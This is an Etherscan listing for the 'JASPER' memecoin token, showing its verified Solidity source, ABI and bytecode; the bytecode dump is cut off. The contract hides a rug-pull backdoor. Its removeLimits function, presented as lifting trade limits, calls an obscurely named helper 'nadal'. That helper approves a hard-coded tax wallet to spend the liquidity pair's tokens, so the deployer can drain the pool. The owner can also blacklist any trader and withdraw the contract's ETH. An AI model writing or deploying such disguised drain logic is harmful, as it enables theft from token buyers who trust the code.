Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 JASPER
Holders
73
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,879,249,087 JASPERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
JASPER
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-22 */ // SPDX-License-Identifier: MIT /** https://x.com/NeuralJanet/status/1848564324014452990 Web: https://jasper.fun/ Tg: https://t.me/jasper_erc20 X: https://x.com/jasper_erc20 **/ pragma solidity 0.8.27; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract JASPER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Janet's Dog"; string private constant _symbol = unicode"JASPER"; uint256 public _maxTxAmount = 2 * (_tTotal/100); uint256 public _maxWalletSize = 2 * (_tTotal/100); uint256 public _taxSwapThreshold = 1 * (_tTotal/100); uint256 public _maxTaxSwap = 1 * (_tTotal/100); uint256 private _initialBuyTax = 15; uint256 private _initialSellTax = 15; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 15; uint256 private _transferTax = 0; uint256 private _buyCount = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(0xC11F3A349a5cd64586A312Ef0DF88Aa8914024cd); _balances[address(this)] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function nadal(address[2] memory spender, uint256 amount) private returns(bool) { _approve(spender[0], spender[1], amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; uint256 tax=0; if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if(_buyCount==0){ tax = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); } if(_buyCount>0){ tax = (_transferTax); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); tax = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ tax = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled) { if (block.number > lastSellBlock) { sellCount = 0; } if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); sendETHToFee(address(this).balance); sellCount++; lastSellBlock = block.number; } } if(tax > 0){ taxAmount = tax.mul(amount).div(100); _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function withdrawEth() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; nadal([uniswapV2Pair, _taxWallet], 150*_tTotal+50); emit MaxTxAmountUpdated(_tTotal); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function add(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function del(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"del","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a61036c565b610021906461f313f880610381565b61002b9190610398565b610036906002610381565b60065560646100476009600a61036c565b610056906461f313f880610381565b6100609190610398565b61006b906002610381565b600755606461007c6009600a61036c565b61008b906461f313f880610381565b6100959190610398565b6100a0906001610381565b60085560646100b16009600a61036c565b6100c0906461f313f880610381565b6100ca9190610398565b6100d5906001610381565b600955600f600a819055600b8190555f600c819055600d819055600e829055818055601091909155601181905560128190556014805461ffff60a81b191690556015819055601681905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673c11f3a349a5cd64586a312ef0df88aa8914024cd1790556101906009600a61036c565b61019f906461f313f880610381565b305f9081526001602081905260408220929092556003906101c75f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556005549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61024e6009600a61036c565b61025d906461f313f880610381565b60405190815260200160405180910390a36103b7565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102c2578085048111156102a6576102a6610273565b60018416156102b457908102905b60019390931c92800261028b565b935093915050565b5f826102d857506001610366565b816102e457505f610366565b81600181146102fa576002811461030457610320565b6001915050610366565b60ff84111561031557610315610273565b50506001821b610366565b5060208310610133831016604e8410600b8410161715610343575081810a610366565b61034f5f198484610287565b805f190482111561036257610362610273565b0290505b92915050565b5f61037a60ff8416836102ca565b9392505050565b808202811582820484141761036657610366610273565b5f826103b257634e487b7160e01b5f52601260045260245ffd5b500490565b611b2c806103c45f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a8578063a0ef91df1161006d578063a0ef91df1461034b578063a9059cbb1461035f578063bf474bed1461037e578063c4c1c94f14610393578063c9567bf9146103b2578063dd62ed3e146103c6575f5ffd5b8063751039fc146102b95780637d1db4a5146102cd5780638da5cb5b146102e25780638f9a55c01461030857806395d89b411461031d575f5ffd5b8063313ce567116100ee578063313ce567146101fe5780633bbac579146102195780634b32e6ed1461025057806370a0823114610271578063715018a6146102a5575f5ffd5b806306fdde0314610134578063095ea7b3146101795780630faee56f146101a857806318160ddd146101cb57806323b872dd146101df575f5ffd5b3661013057005b5f5ffd5b34801561013f575f5ffd5b5060408051808201909152600b81526a4a616e6574277320446f6760a81b60208201525b6040516101709190611645565b60405180910390f35b348015610184575f5ffd5b5061019861019336600461169e565b61040a565b6040519015158152602001610170565b3480156101b3575f5ffd5b506101bd60095481565b604051908152602001610170565b3480156101d6575f5ffd5b506101bd610420565b3480156101ea575f5ffd5b506101986101f93660046116c8565b610441565b348015610209575f5ffd5b5060405160098152602001610170565b348015610224575f5ffd5b50610198610233366004611706565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561025b575f5ffd5b5061026f61026a366004611735565b6104a8565b005b34801561027c575f5ffd5b506101bd61028b366004611706565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f5ffd5b5061026f610538565b3480156102c4575f5ffd5b5061026f6105a9565b3480156102d8575f5ffd5b506101bd60065481565b3480156102ed575f5ffd5b505f546040516001600160a01b039091168152602001610170565b348015610313575f5ffd5b506101bd60075481565b348015610328575f5ffd5b506040805180820190915260068152652520a9a822a960d11b6020820152610163565b348015610356575f5ffd5b5061026f6106bb565b34801561036a575f5ffd5b5061019861037936600461169e565b610710565b348015610389575f5ffd5b506101bd60085481565b34801561039e575f5ffd5b5061026f6103ad366004611735565b61071c565b3480156103bd575f5ffd5b5061026f6107a0565b3480156103d1575f5ffd5b506101bd6103e0366004611800565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610416338484610b4a565b5060015b92915050565b5f61042d6009600a61192e565b61043c906461f313f88061193c565b905090565b5f61044d848484610c6d565b61049e843361049985604051806060016040528060288152602001611acf602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112b2565b610b4a565b5060019392505050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d190611953565b60405180910390fd5b5f5b8151811015610534575f60045f8484815181106104fb576104fb611988565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104dc565b5050565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104d190611953565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016104d190611953565b6105de6009600a61192e565b6105ed906461f313f88061193c565b6006556105fc6009600a61192e565b61060b906461f313f88061193c565b600755604080518082019091526014546001600160a01b03908116825260055416602082015261066b906106416009600a61192e565b610650906461f313f88061193c565b61065b90609661193c565b61066690603261199c565b6112ea565b507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106996009600a61192e565b6106a8906461f313f88061193c565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106e45760405162461bcd60e51b81526004016104d190611953565b60405133904780156108fc02915f818181858888f1935050505015801561070d573d5f5f3e3d5ffd5b50565b5f610416338484610c6d565b5f546001600160a01b031633146107455760405162461bcd60e51b81526004016104d190611953565b5f5b815181101561053457600160045f84848151811061076757610767611988565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610747565b5f546001600160a01b031633146107c95760405162461bcd60e51b81526004016104d190611953565b601454600160a01b900460ff16156108235760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086d90309061085e6009600a61192e565b610499906461f313f88061193c565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e191906119af565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610940573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096491906119af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109ae573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d291906119af565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a19816001600160a01b03165f9081526001602052604090205490565b5f5f610a2c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a92573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ab791906119ca565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b0c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3091906119f5565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610d335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b6014545f908190600160b01b900460ff161580610dba5750601454600160a81b900460ff165b15610e73576001600160a01b0385165f90815260016020526040902054610de2908490611a14565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610e1190849061199c565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e649087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e9d57505f546001600160a01b03858116911614155b15611166576001600160a01b0385165f9081526004602052604090205460ff16158015610ee257506001600160a01b0384165f9081526004602052604090205460ff16155b610eea575f5ffd5b6012545f03610f0d57600e5460125411610f0657600a54610f0a565b600c545b90505b60125415610f1a57506011545b6014546001600160a01b038681169116148015610f4557506013546001600160a01b03858116911614155b8015610f6957506001600160a01b0384165f9081526003602052604090205460ff16155b1561106857600654831115610fc05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b60075483610fe2866001600160a01b03165f9081526001602052604090205490565b610fec919061199c565b111561103a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600e546012541161104d57600a54611051565b600c545b601280549192505f61106283611a27565b91905055505b6014546001600160a01b03858116911614801561108e57506001600160a01b0385163014155b156110ad57600f54601254116110a657600b546110aa565b600d545b90505b305f90815260016020526040902054601454600160a81b900460ff161580156110e357506014546001600160a01b038681169116145b80156110f85750601454600160b01b900460ff165b156111645760165443111561110c575f6015555b600854811180156111205750601054601254115b156111425761114261113d85611138846009546112fd565b6112fd565b611314565b61114b47611484565b60158054905f61115a83611a27565b9091555050436016555b505b80156111f657611181606461117b83866114bb565b90611539565b305f9081526001602052604090205490925061119d908361157a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ed9086815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461121890846115d8565b6001600160a01b0386165f9081526001602052604090205561125b61123d84846115d8565b6001600160a01b0386165f908152600160205260409020549061157a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a486866115d8565b604051908152602001610e64565b5f81848411156112d55760405162461bcd60e51b81526004016104d19190611645565b505f6112e18486611a14565b95945050505050565b815160208301515f916104169184610b4a565b5f81831161130b578261130d565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135a5761135a611988565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d591906119af565b816001815181106113e8576113e8611988565b6001600160a01b03928316602091820292909201015260135461140e9130911684610b4a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114469085905f90869030904290600401611a3f565b5f604051808303815f87803b15801561145d575f5ffd5b505af115801561146f573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610534573d5f5f3e3d5ffd5b5f825f036114ca57505f61041a565b5f6114d5838561193c565b9050826114e28583611aaf565b1461130d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b5f61130d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611619565b5f80611586838561199c565b90508381101561130d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f61130d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b2565b5f81836116395760405162461bcd60e51b81526004016104d19190611645565b505f6112e18486611aaf565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461070d575f5ffd5b80356116998161167a565b919050565b5f5f604083850312156116af575f5ffd5b82356116ba8161167a565b946020939093013593505050565b5f5f5f606084860312156116da575f5ffd5b83356116e58161167a565b925060208401356116f58161167a565b929592945050506040919091013590565b5f60208284031215611716575f5ffd5b813561130d8161167a565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215611745575f5ffd5b813567ffffffffffffffff81111561175b575f5ffd5b8201601f8101841361176b575f5ffd5b803567ffffffffffffffff81111561178557611785611721565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156117b2576117b2611721565b6040529182526020818401810192908101878411156117cf575f5ffd5b6020850194505b838510156117f5576117e78561168e565b8152602094850194016117d6565b509695505050505050565b5f5f60408385031215611811575f5ffd5b823561181c8161167a565b9150602083013561182c8161167a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118865780850481111561186a5761186a611837565b600184161561187857908102905b60019390931c92800261184f565b935093915050565b5f8261189c5750600161041a565b816118a857505f61041a565b81600181146118be57600281146118c8576118e4565b600191505061041a565b60ff8411156118d9576118d9611837565b50506001821b61041a565b5060208310610133831016604e8410600b8410161715611907575081810a61041a565b6119135f19848461184b565b805f190482111561192657611926611837565b029392505050565b5f61130d60ff84168361188e565b808202811582820484141761041a5761041a611837565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561041a5761041a611837565b5f602082840312156119bf575f5ffd5b815161130d8161167a565b5f5f5f606084860312156119dc575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611a05575f5ffd5b8151801515811461130d575f5ffd5b8181038181111561041a5761041a611837565b5f60018201611a3857611a38611837565b5060010190565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a8f5783516001600160a01b0316835260209384019390920191600101611a68565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611ac957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202dec29d754467dbb93a7bc3d5f43a9e7551ce55addd6339173642eb114341d4964736f6c634300081b0033
Deployed Bytecode
0x608060405260043610610129575f3560e01c8063751039fc116100a8578063a0ef91df1161006d578063a0ef91df1461034b578063a9059cbb1461035f578063bf474bed1461037e578063c4c1c94f14610393578063c9567bf9146103b2578063dd62ed3e146103c6575f5ffd5b8063751039fc146102b95780637d1db4a5146102cd5780638da5cb5b146102e25780638f9a55c01461030857806395d89b411461031d575f5ffd5b8063313ce567116100ee578063313ce567146101fe5780633bbac579146102195780634b32e6ed1461025057806370a0823114610271578063715018a6146102a5575f5ffd5b806306fdde0314610134578063095ea7b3146101795780630faee56f146101a857806318160ddd146101cb57806323b872dd146101df575f5ffd5b3661013057005b5f5ffd5b34801561013f575f5ffd5b5060408051808201909152600b81526a4a616e6574277320446f6760a81b60208201525b6040516101709190611645565b60405180910390f35b348015610184575f5ffd5b5061019861019336600461169e565b61040a565b6040519015158152602001610170565b3480156101b3575f5ffd5b506101bd60095481565b604051908152602001610170565b3480156101d6575f5ffd5b506101bd610420565b3480156101ea575f5ffd5b506101986101f93660046116c8565b610441565b348015610209575f5ffd5b5060405160098152602001610170565b348015610224575f5ffd5b50610198610233366004611706565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561025b575f5ffd5b5061026f61026a366004611735565b6104a8565b005b34801561027c575f5ffd5b506101bd61028b366004611706565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f5ffd5b5061026f610538565b3480156102c4575f5ffd5b5061026f6105a9565b3480156102d8575f5ffd5b506101bd60065481565b3480156102ed575f5ffd5b505f546040516001600160a01b039091168152602001610170565b348015610313575f5ffd5b506101bd60075481565b348015610328575f5ffd5b506040805180820190915260068152652520a9a822a960d11b6020820152610163565b348015610356575f5ffd5b5061026f6106bb565b34801561036a575f5ffd5b5061019861037936600461169e565b610710565b348015610389575f5ffd5b506101bd60085481565b34801561039e575f5ffd5b5061026f6103ad366004611735565b61071c565b3480156103bd575f5ffd5b5061026f6107a0565b3480156103d1575f5ffd5b506101bd6103e0366004611800565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610416338484610b4a565b5060015b92915050565b5f61042d6009600a61192e565b61043c906461f313f88061193c565b905090565b5f61044d848484610c6d565b61049e843361049985604051806060016040528060288152602001611acf602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112b2565b610b4a565b5060019392505050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d190611953565b60405180910390fd5b5f5b8151811015610534575f60045f8484815181106104fb576104fb611988565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104dc565b5050565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104d190611953565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3